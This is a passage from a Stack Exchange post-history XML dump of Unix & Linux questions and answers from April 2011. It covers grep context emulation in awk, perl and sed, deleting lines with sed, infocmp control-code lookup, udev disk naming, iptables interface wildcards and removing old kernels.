&quot;$0&quot; &quot;$@&quot;; }&#xD;&#xA;    # The array h contains the history of lines that haven't been printed&#xD;&#xA;    # but are eligible for being &quot;before&quot; lines.&#xD;&#xA;    # The variable until contains the number of the last &quot;after&quot; line to print.&#xD;&#xA;    match($0, pattern) {   # the current line matches&#xD;&#xA;        for (i in h) {&#xD;&#xA;            print h[i];    # print each remaining before line&#xD;&#xA;            delete h[i];   # delete each line as it's printed&#xD;&#xA;        }&#xD;&#xA;        until=NR+after;    # record the last after line to print&#xD;&#xA;    }&#xD;&#xA;    {&#xD;&#xA;        if (NR&lt;=until) print $0;    # from a match to its last after line: print&#xD;&#xA;        else h[NR]=$0;              # after that: save in history&#xD;&#xA;        delete h[NR-before];        # remove line too old to be a before line&#xD;&#xA;    }&#xD;&#xA;    END {exit !until}               # exit status: 0 if there was a match, else 1&#xD;&#xA;&#xD;&#xA;Run it as `grep-ac -vpattern=PATTERN -vbefore=NBEFORE -vafter=NAFTER` where `PATTERN` is the pattern to search for (an [extended regular expression](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_04) with a few [awk additions](http://pubs.opengroup.org/onlinepubs/009695399/utilities/awk.html#tag_04_06_13_04)), and `NBEFORE` and `NAFTER` are the numbers of lines to print before and after a match respectively (defaulting to 0). Example:&#xD;&#xA;&#xD;&#xA;    &lt;input_file grep-ac -vbefore=2 -vpattern='foo *bar'&#xD;&#xA;" />
  <row Id="27130" PostHistoryTypeId="2" PostId="11202" RevisionGUID="edf0fe55-1fee-49b7-ae86-3fbf5d7b35fb" CreationDate="2011-04-12T20:40:39.580" UserId="6167" Text="You are probably more interested in a way to directly access server2 from home.  There's a simple solution to use your connection form home to server1 to create a tunnel that will allow you directly ssh to server2 from home.  You can then also do other protocols like SFTP or Rsync over SSH straight between the two.  As Gilles suggested, look at http://unix.stackexchange.com/questions/10731/common-multiple-ssh-connections-file-handling-issue" />
  <row Id="27131" PostHistoryTypeId="6" PostId="11193" RevisionGUID="7d0913c8-2be9-4d32-b360-557516be54f7" CreationDate="2011-04-12T20:40:51.343" UserId="885" Comment="edited tags" Text="étextöprocessingàégrepàéawkàéperlà" />
  <row Id="27132" PostHistoryTypeId="2" PostId="11203" RevisionGUID="ca4ea774-035a-4797-8ae1-eb8668fa90ad" CreationDate="2011-04-12T20:42:25.990" UserId="4671" Text="[kdiff3](http://kdiff3.sourceforge.net/) is becoming the standard GUI diff viewer on Linux. It is similar to [xxdiff](http://furius.ca/xxdiff/), but I think kdiff3 is better. It does many things well, including your request to  show &quot;exact character differences between two lines in certain files&quot;." />
  <row Id="27133" PostHistoryTypeId="5" PostId="11199" RevisionGUID="2a1bdcb3-c4df-4b60-b5d2-a2e044b3900f" CreationDate="2011-04-12T20:46:24.023" UserId="455" Comment="added 180 characters in body; added 14 characters in body" Text="It turns out that it's quite tricky to emulate -B, because of the issues that crop up when you have matching lines following each other directly. This pretty much disallows using any sort of single-pass-through file scanning.&#xD;&#xA;&#xD;&#xA;I realized this while playing around with the following approximation:&#xD;&#xA;&#xD;&#xA;    perl -pe 'if(/search_term/) {print foreach @A; print &quot;&gt;&quot;; $B=4}; shift @A if push(@A, $_)&gt;7; $_ = &quot;&quot; unless ($B-- &gt; 0);' target_file&#xD;&#xA;&#xD;&#xA;This will work roughly correctly as grep -A7 -B3 would, with the caveat described in the first paragraph.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;An alternative (also single-file) solution to this issue is to use perl to feed sed a command string:&#xD;&#xA;&#xD;&#xA;    sed -n `perl -pe '$_=(/search_term/?sprintf(&quot;%d,%dp;&quot;, $.-3,$.+4):&quot;&quot;)' file` file" />
  <row Id="27134" PostHistoryTypeId="2" PostId="11204" RevisionGUID="17287bdf-cd4f-484b-95d7-c569953556d4" CreationDate="2011-04-12T20:48:52.820" UserId="688" Text="There are specific line that I want to remove from a file. Let's say it's line 20-37 and then line 45. How would I do that without specifying the content of those lines?" />
  <row Id="27135" PostHistoryTypeId="1" PostId="11204" RevisionGUID="17287bdf-cd4f-484b-95d7-c569953556d4" CreationDate="2011-04-12T20:48:52.820" UserId="688" Text="How do I remove certain lines (using line numbers) in a file?" />
  <row Id="27136" PostHistoryTypeId="3" PostId="11204" RevisionGUID="17287bdf-cd4f-484b-95d7-c569953556d4" CreationDate="2011-04-12T20:48:52.820" UserId="688" Text="étextöprocessingà" />
  <row Id="27137" PostHistoryTypeId="2" PostId="11205" RevisionGUID="9075fa61-6ac6-44ea-99af-620761e21e00" CreationDate="2011-04-12T20:50:13.703" UserId="4531" Text="My understanding is that terminals often use ANSI control-codes to represent non-alphanumeric character sequences. For example, when editing `.inputrc` for Bash in Linux, it's easy to find code sequences that look as follows:&#xD;&#xA;&#xD;&#xA;    &quot;\e[A&quot;: history-search-backward&#xD;&#xA;    &quot;\e[B&quot;: history-search-forward&#xD;&#xA;    &quot;\e[C&quot;: forward-char&#xD;&#xA;    &quot;\e[D&quot;: backward-char&#xD;&#xA;    &quot;\e[1~&quot;: beginning-of-line&#xD;&#xA;    &quot;\e[4~&quot;: end-of-line&#xD;&#xA;    &quot;\e[3~&quot;: delete-char&#xD;&#xA;    &quot;\e[2~&quot;: quoted-insert&#xD;&#xA;    &quot;\e[5C&quot;: forward-word&#xD;&#xA;    &quot;\e[5D&quot;: backward-word&#xD;&#xA;&#xD;&#xA;The commands above [define][1] key bindings for the Bash commands `history-search-backward`, etc..&#xD;&#xA;&#xD;&#xA;Now, in bash, I can use `read` to see how characters typed in my keyboard are mapped to ANSI control codes. E.g. For example, if I run `read`, and then enter `Ctrl-P`, I get: `^P`. Similarly, if I enter  `Alt-W`, I get: `^[W`. &#xD;&#xA;&#xD;&#xA;My question is: Is there a program, tool or website that does the opposite? I.e. A tool that outputs or shows the sequence of keyboard keys that I need to type on my keyboard that to obtain a given ANSI control-code sequence. For example, entering `^[W` would output: `Alt-W`&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/269464/understanding-control-characters-in-inputrc" />
  <row Id="27138" PostHistoryTypeId="1" PostId="11205" RevisionGUID="9075fa61-6ac6-44ea-99af-620761e21e00" CreationDate="2011-04-12T20:50:13.703" UserId="4531" Text="Reverse control-code look up for terminals" />
  <row Id="27139" PostHistoryTypeId="3" PostId="11205" RevisionGUID="9075fa61-6ac6-44ea-99af-620761e21e00" CreationDate="2011-04-12T20:50:13.703" UserId="4531" Text="ébashàéterminalà" />
  <row Id="27140" PostHistoryTypeId="17" PostId="11207" RevisionGUID="0cff1900-0f18-4d55-a167-c889c74817ad" CreationDate="2011-04-12T20:52:33.677" UserId="-1" Comment="from http://askubuntu.com/questions/34736/ubuntu-vs-debian-for-server/34754#34754" Text="" />
  <row Id="27141" PostHistoryTypeId="2" PostId="11207" RevisionGUID="a37d4be6-d4ea-438b-8a67-3a6da94a086d" CreationDate="2011-04-12T20:48:32.103" UserId="1938" Text="Advantages of Ubuntu:&#xD;&#xA; &#xD;&#xA; - LTS releases are supported for 5 years for the server seed.&#xD;&#xA; - Ubuntu has been [certified to work on certain hardware][1]&#xD;&#xA; - For those wanting more up-to-date packages &amp; are willing to use a non-LTS release, the 6 month release cycle means that a new stable release happens more frequently than with Debian&#xD;&#xA; - Ubuntu has some better integration with virtualisation solutions, as a host &amp; as a guest.&#xD;&#xA; - Ubuntu has AppArmor installed by default as a security solution.&#xD;&#xA;&#xD;&#xA;Advantages of Debian:&#xD;&#xA;&#xD;&#xA; - Debian releases are rigourously tested with the philosophy of 'release when ready'&#xD;&#xA; - Debian has a broad range of developers that cover all packages rather than focusing on a subset. This can be important for security support of less-commonly-used packages.&#xD;&#xA; - Debian commits to supporting the previous stable release for a year since the release of the latest stable. This can effectively be longer than the 18 month support that Ubuntu has for non-LTS releases.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/certification/" />
  <row Id="27142" PostHistoryTypeId="2" PostId="11206" RevisionGUID="c626e1e1-fe69-4fb6-a580-965b49a0fc88" CreationDate="2011-04-12T18:33:15.683" UserId="2499" Text="Hi&#xD;&#xA;&#xD;&#xA;What would be a better choice for a web server, Debian or Ubuntu?&#xD;&#xA;&#xD;&#xA;I mainly use Python &amp; PostgreSQL with Nginx and sometimes PHP &amp; MySQL.&#xD;&#xA;&#xD;&#xA;What are pros/cons of each?" />
  <row Id="27143" PostHistoryTypeId="1" PostId="11206" RevisionGUID="c626e1e1-fe69-4fb6-a580-965b49a0fc88" CreationDate="2011-04-12T18:33:15.683" UserId="2499" Text="Ubuntu vs Debian for server" />
  <row Id="27144" PostHistoryTypeId="3" PostId="11206" RevisionGUID="c626e1e1-fe69-4fb6-a580-965b49a0fc88" CreationDate="2011-04-12T18:33:15.683" UserId="2499" Text="éserveràédebianàéwebserverà" />
  <row Id="27145" PostHistoryTypeId="17" PostId="11206" RevisionGUID="99870641-724e-45d1-aced-d79b5ae09210" CreationDate="2011-04-12T20:52:33.677" UserId="-1" Comment="from http://askubuntu.com/questions/34736/ubuntu-vs-debian-for-server" Text="" />
  <row Id="27147" PostHistoryTypeId="2" PostId="11208" RevisionGUID="0f16bc04-f85b-4fec-8351-c134dd9729f8" CreationDate="2011-04-12T21:00:33.860" UserId="3001" Text="With `sed`, like so:&#xD;&#xA;&#xD;&#xA;    $ sed '20,37d; 45d' &lt; input.txt &gt; output.txt" />
  <row Id="27148" PostHistoryTypeId="2" PostId="11209" RevisionGUID="0cce68b6-08c6-42a1-ab94-2c794b9889f0" CreationDate="2011-04-12T21:07:13.780" UserId="3169" Text="`infocmp` can help.  It writes escape as `\E` rather than `\e` or `^[`." />
  <row Id="27149" PostHistoryTypeId="5" PostId="11200" RevisionGUID="7ba0e522-8959-4c3b-b987-e263086561fd" CreationDate="2011-04-12T21:08:41.720" UserId="2421" Comment="link to ack-standalone" Text="[ack][1] requires only Perl, and includes `-A`, `-B`, and `-C` options that work like grep's.  It uses Perl's regex syntax instead of grep's, and the way it selects files to search is quite different.  You might want to try the `-f` option when using it (which prints out the files it will search without actually searching anything).&#xD;&#xA;&#xD;&#xA;It can be installed as [a single script][2] that requires no non-core modules.  Just drop it into your `~/bin` directory (or anywhere else on your PATH that you have write access to) and make sure it's `chmod`'d executable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://betterthangrep.com/&#xD;&#xA;  [2]: http://betterthangrep.com/ack-standalone" />
  <row Id="27150" PostHistoryTypeId="25" PostId="11193" RevisionGUID="8e03f4fe-aa04-4e96-a85a-fbd724773457" CreationDate="2011-04-12T21:09:07.097" Comment="http://twitter.com/#!/StackUnix/status/57913155338248192" />
  <row Id="27151" PostHistoryTypeId="2" PostId="11210" RevisionGUID="07f721da-c1d5-4c9a-87a9-abea535d9b61" CreationDate="2011-04-12T21:17:11.093" UserId="3513" Text="I have an HP xw8200 workstation running linux with two small, fast SCSI drives hooked up to the onboard LSI SCSI controller. The drives get labeled /dev/sda &amp; /dev/sdb in /dev, respectively. I have a large SATA disk that I want to add to the system to store data, but every time I connect it, it's /dev gets assigned sda &amp; the two scsi drives are assigned sdb,c, which messes with the boot procedure. How can I get this SATA drive to use sdc?  Or what's the quickest way to get this set up?" />
  <row Id="27152" PostHistoryTypeId="1" PostId="11210" RevisionGUID="07f721da-c1d5-4c9a-87a9-abea535d9b61" CreationDate="2011-04-12T21:17:11.093" UserId="3513" Text="Devices get renamed when SATA disk attached." />
  <row Id="27153" PostHistoryTypeId="3" PostId="11210" RevisionGUID="07f721da-c1d5-4c9a-87a9-abea535d9b61" CreationDate="2011-04-12T21:17:11.093" UserId="3513" Text="élvmàésataàéscsià" />
  <row Id="27154" PostHistoryTypeId="5" PostId="11209" RevisionGUID="58a718f3-3965-49ab-9383-ffa3101b8068" CreationDate="2011-04-12T21:28:12.007" UserId="3169" Comment="added 339 characters in body; added 1 characters in body; deleted 29 characters in body" Text="`infocmp` can help.  It writes escape as `\E` rather than `\e` or `^[`.&#xD;&#xA;&#xD;&#xA;For example, to find `\e[A`, which is your history-search-backward:&#xD;&#xA;&#xD;&#xA;    $ infocmp -1 | grep -F '=\E[A,'&#xD;&#xA;           cuu1=\E[A,&#xD;&#xA;    $ man 5 terminfo | grep '  cuu1  '&#xD;&#xA;           cursor_up                     cuu1       up       up one line&#xD;&#xA;&#xD;&#xA;Which tells you to press cursor up, a.k.a. up arrow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27155" PostHistoryTypeId="2" PostId="11211" RevisionGUID="c385a58b-9013-40fc-8648-bc2df79903ca" CreationDate="2011-04-12T21:29:41.753" UserId="6540" Text="Hey all,&#xD;&#xA;I'm trying to figure out what that + sign means in a rule such as this:&#xD;&#xA;&#xD;&#xA;-A FORWARD -i tun0+ -j ACCEPT&#xD;&#xA;&#xD;&#xA;I'm pretty positive it relates to vpn. I noticed a /dev/net/tun interface and a tun0 in ifconfig, but for the sake of thoroughness, I want to know about that + sign. Anyone know anything?&#xD;&#xA;" />
  <row Id="27156" PostHistoryTypeId="1" PostId="11211" RevisionGUID="c385a58b-9013-40fc-8648-bc2df79903ca" CreationDate="2011-04-12T21:29:41.753" UserId="6540" Text="tun0+ iptables rule" />
  <row Id="27157" PostHistoryTypeId="3" PostId="11211" RevisionGUID="c385a58b-9013-40fc-8648-bc2df79903ca" CreationDate="2011-04-12T21:29:41.753" UserId="6540" Text="éiptablesà" />
  <row Id="27158" PostHistoryTypeId="2" PostId="11212" RevisionGUID="51d0235c-764b-406a-95f9-15ea3c7e70b9" CreationDate="2011-04-12T21:32:41.020" UserId="6536" Text="I have Ubuntu 10.10 and after few updates the boot menu lists many kernel versions. How do I remove older versions? " />
  <row Id="27159" PostHistoryTypeId="1" PostId="11212" RevisionGUID="51d0235c-764b-406a-95f9-15ea3c7e70b9" CreationDate="2011-04-12T21:32:41.020" UserId="6536" Text="grub shows multiple kernel versions on startup" />
  <row Id="27160" PostHistoryTypeId="3" PostId="11212" RevisionGUID="51d0235c-764b-406a-95f9-15ea3c7e70b9" CreationDate="2011-04-12T21:32:41.020" UserId="6536" Text="éubuntuàékernelàégrubà" />
  <row Id="27164" PostHistoryTypeId="2" PostId="11214" RevisionGUID="e64f3bfe-1af6-473d-8b31-49c99c12d06d" CreationDate="2011-04-12T21:47:02.137" UserId="885" Text="The default order in which `sda`, `sdb`, `sdc` are assigned is unpredictable. But it can be overridden through [`udev`](http://en.wikipedia.org/wiki/Udev). You can control the name of the block device files by adding directives in `/etc/udev/rules.d/local.rules` (some (older?) systems may only support `/etc/udev/rules.conf`). Better, you can add directives to create symbolic links, and use those symbolic links in your `fstab`. You can match by driver, by serial number, or call external programs to read things like filesystem UUIDs. The official documentation is a bit dry; if you need to write udev rules, you may prefer to start with a [tutorial](http://reactivated.net/writing_udev_rules.html).&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sd*&quot;, DRIVERS=&quot;ahci&quot;, SYMLINK+=&quot;sata&quot;&#xD;&#xA;&#xD;&#xA;If you're using LVM exclusively on a drive, it doesn't matter what the letter the block device for the disk uses: you'll just be using the volume names. (That's one of the major advantages of LVM.)&#xD;&#xA;&#xD;&#xA;It's better to match filesystem UUIDs than disk serial numbers, because those don't change if you crash a disk in a RAID array or restore from a byte-for-byte copy. You can use filesystem UUIDs directly in `/etc/fstab`: use `UUID=01234567-89ab-cdef-0123-456789abcdef` in the first field, instead of a block device path.&#xD;&#xA;" />
  <row Id="27165" PostHistoryTypeId="6" PostId="11205" RevisionGUID="57192734-f000-4649-80cb-3ae7420d649b" CreationDate="2011-04-12T21:48:59.593" UserId="885" Comment="edited tags" Text="éterminalàékeyboardöshortcutsàéescapeöcharactersà" />
  <row Id="27166" PostHistoryTypeId="5" PostId="11209" RevisionGUID="7d1e846b-9e71-4fdc-952d-d7594b6f51d6" CreationDate="2011-04-12T21:51:03.633" UserId="3169" Comment="added 105 characters in body; added 239 characters in body" Text="`infocmp` can help.  It writes escape as `\E` rather than `\e` or `^[`.&#xD;&#xA;&#xD;&#xA;For example, to find `\e[A`, which is your history-search-backward:&#xD;&#xA;&#xD;&#xA;    $ infocmp -1x | grep -F '=\E[A,'&#xD;&#xA;           cuu1=\E[A,&#xD;&#xA;    $ man 5 terminfo | grep '  cuu1  '&#xD;&#xA;           cursor_up                     cuu1       up       up one line&#xD;&#xA;&#xD;&#xA;Which tells you to press cursor up, a.k.a. up arrow.&#xD;&#xA;&#xD;&#xA;Note that you will need the `-x` flag to infocmp to display some things, e.g. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&lt;-&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;These extended keys are not part of the standard, so the `grep` command won't list the friendlier key name, but they are documented in the [terminfo file](http://opensource.apple.com/source/X11apps/X11apps-30/xterm/xterm-243/terminfo)." />
  <row Id="27167" PostHistoryTypeId="5" PostId="11214" RevisionGUID="c5c6a781-ccd5-4f4d-8fc2-ba4db16d3b2f" CreationDate="2011-04-12T21:55:00.450" UserId="885" Comment="mention /dev/by-*" Text="The default order in which `sda`, `sdb`, `sdc` are assigned is unpredictable. But it can be overridden through [`udev`](http://en.wikipedia.org/wiki/Udev). You can control the name of the block device files by adding directives in `/etc/udev/rules.d/local.rules` (some (older?) systems may only support `/etc/udev/rules.conf`). Better, you can add directives to create symbolic links, and use those symbolic links in your `fstab`. You can match by driver, by serial number, or call external programs to read things like filesystem UUIDs. The official documentation is a bit dry; if you need to write udev rules, you may prefer to start with a [tutorial](http://reactivated.net/writing_udev_rules.html).&#xD;&#xA;&#xD;&#xA;    KERNEL==&quot;sd*&quot;, DRIVERS=&quot;ahci&quot;, SYMLINK+=&quot;sata&quot;&#xD;&#xA;&#xD;&#xA;If you're using LVM exclusively on a drive, it doesn't matter what the letter the block device for the disk uses: you'll just be using the volume names. (That's one of the major advantages of LVM.)&#xD;&#xA;&#xD;&#xA;If you look in `/dev/by-*`, you'll see various ways of naming disks that are part of udev's default setup: `/dev/by-id` (disk serial number and more), `/dev/by-label` (filesystem or other label), `/dev/by-path` (SCSI IDs and so on), `/dev/by-uuid` (filesystem UUIDs and the like). These may be sufficient for your purposes.&#xD;&#xA;&#xD;&#xA;It's better to match filesystem labels or UUIDs than disk serial numbers, because those don't change if you crash a disk in a RAID array or restore from a byte-for-byte copy (or, for labels, make label restoration part of your recovery procedure). You can use filesystem UUIDs directly in `/etc/fstab`: use `UUID=01234567-89ab-cdef-0123-456789abcdef` in the first field, instead of a block device path.&#xD;&#xA;" />
  <row Id="27168" PostHistoryTypeId="5" PostId="11209" RevisionGUID="4c9bde81-04f5-489d-8840-984edc4bbf9e" CreationDate="2011-04-12T21:56:10.900" UserId="3169" Comment="deleted 1 characters in body" Text="`infocmp` can help.  It writes escape as `\E` rather than `\e` or `^[`.&#xD;&#xA;&#xD;&#xA;For example, to find `\e[A`, which is your history-search-backward:&#xD;&#xA;&#xD;&#xA;    $ infocmp -1x | grep -F '=\E[A,'&#xD;&#xA;           cuu1=\E[A,&#xD;&#xA;    $ man 5 terminfo | grep '  cuu1  '&#xD;&#xA;           cursor_up                     cuu1       up       up one line&#xD;&#xA;&#xD;&#xA;Which tells you to press cursor up, a.k.a. up arrow.&#xD;&#xA;&#xD;&#xA;Note that you will need the `-x` flag (shown above) to display some combinations, e.g. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&lt;-&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;These extended keys are not part of the standard, so they aren't listed in the terminfo man page, but they are documented in the [terminfo file](http://opensource.apple.com/source/X11apps/X11apps-30/xterm/xterm-243/terminfo)." />
  <row Id="27169" PostHistoryTypeId="6" PostId="11206" RevisionGUID="cd199323-ba67-4a96-8b99-af1715326be9" CreationDate="2011-04-12T22:00:43.427" UserId="885" Comment="edited tags" Text="éubuntuàédebianàédistributionöchoiceàéwebserverà" />
  <row Id="27170" PostHistoryTypeId="5" PostId="10243" RevisionGUID="a4bf6ccd-5344-4008-8d2f-ffd98862c762" CreationDate="2011-04-12T22:08:13.437" UserId="885" Comment="mention sed and perl -i; cite thread about in-place modification" Text="This isn't working because `iconv` first creates the output file (since the file already exists, it truncates it), then starts reading its input file (which is now empty). Most programs behave this way.&#xD;&#xA;&#xD;&#xA;Create a new, temporary file for the output, then move it into place.&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 -o &quot;$file.new&quot; &quot;$file&quot; &amp;&amp;&#xD;&#xA;        mv -f &quot;$file.new&quot; &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;[Colin Watson's `sponge` utility](http://riva.ucam.org/~cjwatson/blog/2006/02/06#2006-02-06-sponge) (included in [Joey Hess's moreutils](http://kitenet.net/~joey/code/moreutils/)) automates this:&#xD;&#xA;&#xD;&#xA;    for file in *.php&#xD;&#xA;    do&#xD;&#xA;        iconv -f cp1251 -t utf8 &quot;$file&quot; | sponge &quot;$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;This answer applies not just to `iconv` but to any filter program. A few special cases are worth mentioning:&#xD;&#xA;&#xD;&#xA;* GNU sed and Perl `-p` have a `-i` option to replace files in place.&#xD;&#xA;* If your file is extremely large, your filter is only modifying or removing some parts but never adding things (e.g. `grep`, `tr`, `sed 's/long input text/shorter text/'`), and you like living dangerously, you may want to genuinely [modify the file in place](http://unix.stackexchange.com/questions/11067/is-there-a-way-to-modify-a-file-in-place) (the other solutions mentioned here create a new output file and move it into place at the end, so the original data is unchanged if the command is interrupted for any reason).&#xD;&#xA;" />
  <row Id="27171" PostHistoryTypeId="6" PostId="10241" RevisionGUID="7651cc77-e1a3-41e6-b00b-f7ac930e04cb" CreationDate="2011-04-12T22:08:25.310" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàéioöredirectionà" />
  <row Id="27172" PostHistoryTypeId="5" PostId="11209" RevisionGUID="9111f42d-3e77-4685-b8db-3472987828d5" CreationDate="2011-04-12T22:09:49.630" UserId="3169" Comment="added 345 characters in body" Text="`infocmp` can help.  It writes escape as `\E` rather than `\e` or `^[`.&#xD;&#xA;&#xD;&#xA;For example, to find `\e[A`, which is your history-search-backward:&#xD;&#xA;&#xD;&#xA;    $ infocmp -1x | grep -F '=\E[A,'&#xD;&#xA;           cuu1=\E[A,&#xD;&#xA;    $ man 5 terminfo | grep '  cuu1  '&#xD;&#xA;           cursor_up                     cuu1       up       up one line&#xD;&#xA;&#xD;&#xA;Which tells you to press cursor up, a.k.a. up arrow.&#xD;&#xA;&#xD;&#xA;Note that you will need the `-x` flag (shown above) to display some combinations, e.g. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&lt;-&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;These extended keys are not part of the standard, so they aren't listed in the terminfo man page, but they are documented in the [terminfo file](http://opensource.apple.com/source/X11apps/X11apps-30/xterm/xterm-243/terminfo).&#xD;&#xA;&#xD;&#xA;Also note that the control sequences vary depending on which terminal you use.&#xD;&#xA;&#xD;&#xA;You can get information about a different terminal by using `infocmp -1x &lt;terminal&gt;`, e.g. `infocmp -1x rxvt`, `infocmp -1x putty`, etc.&#xD;&#xA;&#xD;&#xA;Once you figure out which one terminfo thinks you have, things will be easier if you set your `TERM` variable to match." />
  <row Id="27173" PostHistoryTypeId="5" PostId="11208" RevisionGUID="6f7aa376-88b1-4157-a100-dcceb7be290b" CreationDate="2011-04-12T22:44:25.263" UserId="688" Comment="added 81 characters in body" Text="With `sed`, like so:&#xD;&#xA;&#xD;&#xA;    sed '20,37d; 45d' &lt; input.txt &gt; output.txt&#xD;&#xA;&#xD;&#xA;If you wanted to do this in-place:&#xD;&#xA;&#xD;&#xA;    sed --in-place '20,37d; 45d' file.txt" />
  <row Id="27175" PostHistoryTypeId="2" PostId="11216" RevisionGUID="55ba8e8e-ff5e-48e3-b7d5-3eaaa4953e35" CreationDate="2011-04-12T23:42:44.197" UserId="688" Text="1. Check for currently-installed kernels:&#xD;&#xA;&#xD;&#xA;        $ dpkg --get-selections | grep linux-image&#xD;&#xA;        linux-image-2.6.38-2-686-bigmem         install&#xD;&#xA;        linux-image-2.6.32-5-686                install&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. Check what current kernel you are running:&#xD;&#xA;&#xD;&#xA;        $ uname --all&#xD;&#xA;        Linux debian 2.6.38-2-686-bigmem #1 SMP Thu Apr 7 06:05:53 UTC 2011 i686 GNU/Linux&#xD;&#xA;&#xD;&#xA;1. Remove the kernel(s) you are displeased with, generally keeping the latest (and greatest).&#xD;&#xA;&#xD;&#xA;        $ sudo apt-get remove linux-image-2.6.32-5-686&#xD;&#xA;&#xD;&#xA;I think it's a good idea to keep at least two different versions though. However, I think this advice used to be more useful some time ago, because it seems the kernel gets more and more stable (I experience far less trouble than I used to), but maybe I'm lucky." />
  <row Id="27176" PostHistoryTypeId="5" PostId="11211" RevisionGUID="cc7961ac-91fe-46f3-b9c5-12b61b0fdb77" CreationDate="2011-04-12T23:46:58.863" UserId="29" Comment="formatting, tags" Text="I'm trying to figure out what that + sign means in a rule such as this:&#xD;&#xA;&#xD;&#xA;    -A FORWARD -i tun0+ -j ACCEPT&#xD;&#xA;&#xD;&#xA;I'm pretty positive it relates to vpn. I noticed a /dev/net/tun interface and a tun0 in ifconfig, but for the sake of thoroughness, I want to know about that + sign. Anyone know anything?&#xD;&#xA;" />
  <row Id="27177" PostHistoryTypeId="6" PostId="11211" RevisionGUID="cc7961ac-91fe-46f3-b9c5-12b61b0fdb77" CreationDate="2011-04-12T23:46:58.863" UserId="29" Comment="formatting, tags" Text="éiptablesàéfirewallà" />
  <row Id="27178" PostHistoryTypeId="2" PostId="11217" RevisionGUID="7676f707-a828-43d8-95bb-f680b76f53ff" CreationDate="2011-04-13T00:03:41.340" UserId="1389" Text="So, basically&#xD;&#xA;&#xD;&#xA;THIS LINE WOULD BE DELETED&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;(THIS LINE WOULD ALSO BE DELETED)&#xD;&#xA;&#xD;&#xA;but&#xD;&#xA;&#xD;&#xA;Indeed, THIS LINE WOULD NOT" />
  <row Id="27179" PostHistoryTypeId="1" PostId="11217" RevisionGUID="7676f707-a828-43d8-95bb-f680b76f53ff" CreationDate="2011-04-13T00:03:41.340" UserId="1389" Text="sed one-liner to delete any line that does not contain lowercase letters" />
  <row Id="27180" PostHistoryTypeId="3" PostId="11217" RevisionGUID="7676f707-a828-43d8-95bb-f680b76f53ff" CreationDate="2011-04-13T00:03:41.340" UserId="1389" Text="ésedàéawkà" />
  <row Id="27181" PostHistoryTypeId="2" PostId="11218" RevisionGUID="39c973d2-4076-4a57-aa97-9268a9e8602f" CreationDate="2011-04-13T00:05:36.330" UserId="1338" Text="Try this:&#xD;&#xA;&#xD;&#xA;    sed '/[a-z]/!d' file" />
  <row Id="27182" PostHistoryTypeId="2" PostId="11219" RevisionGUID="3bc963b7-9784-45f4-b1fd-4063fc6ea47d" CreationDate="2011-04-13T00:06:57.657" UserId="5325" Text="Quite a few ways.  Think negatively:&#xD;&#xA;&#xD;&#xA;    sed '/[a-z]/!d'    # !x runs x if the pattern doesn't match&#xD;&#xA;    grep -v '[a-z]'    # -v means print if the regexp doesn't match&#xD;&#xA;    awk '!/[a-z]/'     # !expr negates expr&#xD;&#xA;" />
  <row Id="27183" PostHistoryTypeId="25" PostId="11217" RevisionGUID="08538901-122d-4c17-a8a8-017194d07325" CreationDate="2011-04-13T00:09:07.747" Comment="http://twitter.com/#!/StackUnix/status/57958458506485760" />
  <row Id="27184" PostHistoryTypeId="2" PostId="11220" RevisionGUID="b6442ad7-9e0b-4b63-9652-21b5d5210c8b" CreationDate="2011-04-13T00:49:41.350" UserId="688" Text="I recently deleted Linux kernel and continued using the system as if nothing drastic happened... it continued running smooth. That made me curious if there were any side-effects. What about other non-Windows kernels (which disallows deleting any live file)." />
  <row Id="27185" PostHistoryTypeId="1" PostId="11220" RevisionGUID="b6442ad7-9e0b-4b63-9652-21b5d5210c8b" CreationDate="2011-04-13T00:49:41.350" UserId="688" Text="What potential ills can be brought by 'deleting' a live kernel?" />
  <row Id="27186" PostHistoryTypeId="3" PostId="11220" RevisionGUID="b6442ad7-9e0b-4b63-9652-21b5d5210c8b" CreationDate="2011-04-13T00:49:41.350" UserId="688" Text="ékernelà" />
  <row Id="27188" PostHistoryTypeId="2" PostId="11221" RevisionGUID="2dd0174a-ed1f-4267-8efc-bb1812d42750" CreationDate="2011-04-13T02:05:39.107" UserId="138" Text="The Linux kernel is completely loaded into RAM on boot. After the system is booted, it never goes back and tries to read anything from that file. The same goes for drivers, once loaded into the kernel.&#xD;&#xA;&#xD;&#xA;If you deleted the only kernel image on disk, the only consequence is that the system cannot be successfully rebooted unless you install a replacement kernel image before reboot.&#xD;&#xA;&#xD;&#xA;As for other OSes, I imagine it is the same, simply due to the nature of OS kernels. They're intentionally small bits of code that stay running all the time, so there is no incentive to keep going back to disk to &quot;look&quot; at the code again. It's always in memory. (RAM or VM.)" />
